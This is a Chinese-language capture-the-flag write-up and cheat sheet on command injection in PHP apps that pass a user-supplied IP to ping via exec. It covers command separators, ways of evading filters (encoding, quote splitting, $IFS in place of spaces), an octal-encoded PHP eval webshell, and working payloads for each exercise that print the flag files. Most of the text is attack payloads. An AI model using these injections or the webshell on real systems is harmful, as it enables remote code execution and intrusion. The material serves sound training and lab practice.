RCE远程代码执行
命令分割符:
linux:
%0a 、%0d 、; 、& 、| 、&&、||
分隔符 | 描述 |
---|---|
; | 如果每个命令都被一个分号(;)所分隔,那么命令会连续地执行下去 |
&& | 前面执行成功后面才会执行 |
& | 不执行错误检查和运行所有命令 |
|| | 前面执行失败才会执行后面 |
| | 符号 左边输出 作为右边输入。会显示最后一个命令的执行结果 |
windows:
%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)
敏感字符过滤绕过:
-
使用拼接绕过
a=fl;b=ag;cat $a$b
-
使用编码绕过
-
base
echo MTIzCg==|base64 -d #123
-
hex
echo "313233"|xxd -r -p #123
-
oct
$(printf "154163") #ls #可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?> ${printf,"7477160150160401001451661411545044137120117123124133471434713551737776"} >> 1.php
-
-
反斜杠
ca flag
-
单引号和双引号绕过
ca''t flag
或ca""t flag
-
${}
执行代码${phpinfo()};
过滤空格:
空格可以用以下字符串代替:
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等
$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2
,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
命令注入
题目信息:
尝试命令注入:
看到有一个php文件,8061098418328.php,直接用cat,但是没有显示。
解法一:
考虑到可能有无法显示的特殊字符,使用base64输出
<?php // ctfhub{695122f1d00f32ff2578f119f563cdc507df7b8c}
解法二:
尝试写入一句话后门:
后门写入成功
获得flag
过滤cat
本题过滤了cat
使用ca
绕过
没有回显,尝试通过查看网页源代码,或者base64输出解码得到flag
过滤空格
使用<
代替空格:
解法一:
base64
解法二:
127.0.0.1&cat<flag_21154267199923.php
查看源代码:
过滤分割符
查看目录下的文件:
由于过滤了,考虑先切换到相应目录,在进行查看:
127.0.0.1&cd flag_is_here;ls
可以选择base64或查看网页源代码
这里我选择直接查看源代码
127.0.0.1&cd flag_is_here;cat flag_3975901425465.php
过滤运算符
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(||&)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
过滤了|
与&
,使用;
分隔命令:
直接给出payload:
127.0.0.1;cat flag_35923221712564.php
127.0.0.1;base64 flag_35923221712564.php
= 127.0.0.1;cat flag_35923221712564.php|base64
综合练习
先看源代码:
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(||&|;| |/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
过滤清单还是比较豪华的。
尝试绕过:
使用%0a
分隔命令,使用%09
代替空格
查看当前目录下的文件:
查看flag_is_here文件夹下的文件:127.0.0.1%0als%09*is_here
查看flag:
构造payload127.0.0.1%0acd%09*is_here%0atac%09*_32560754932548.php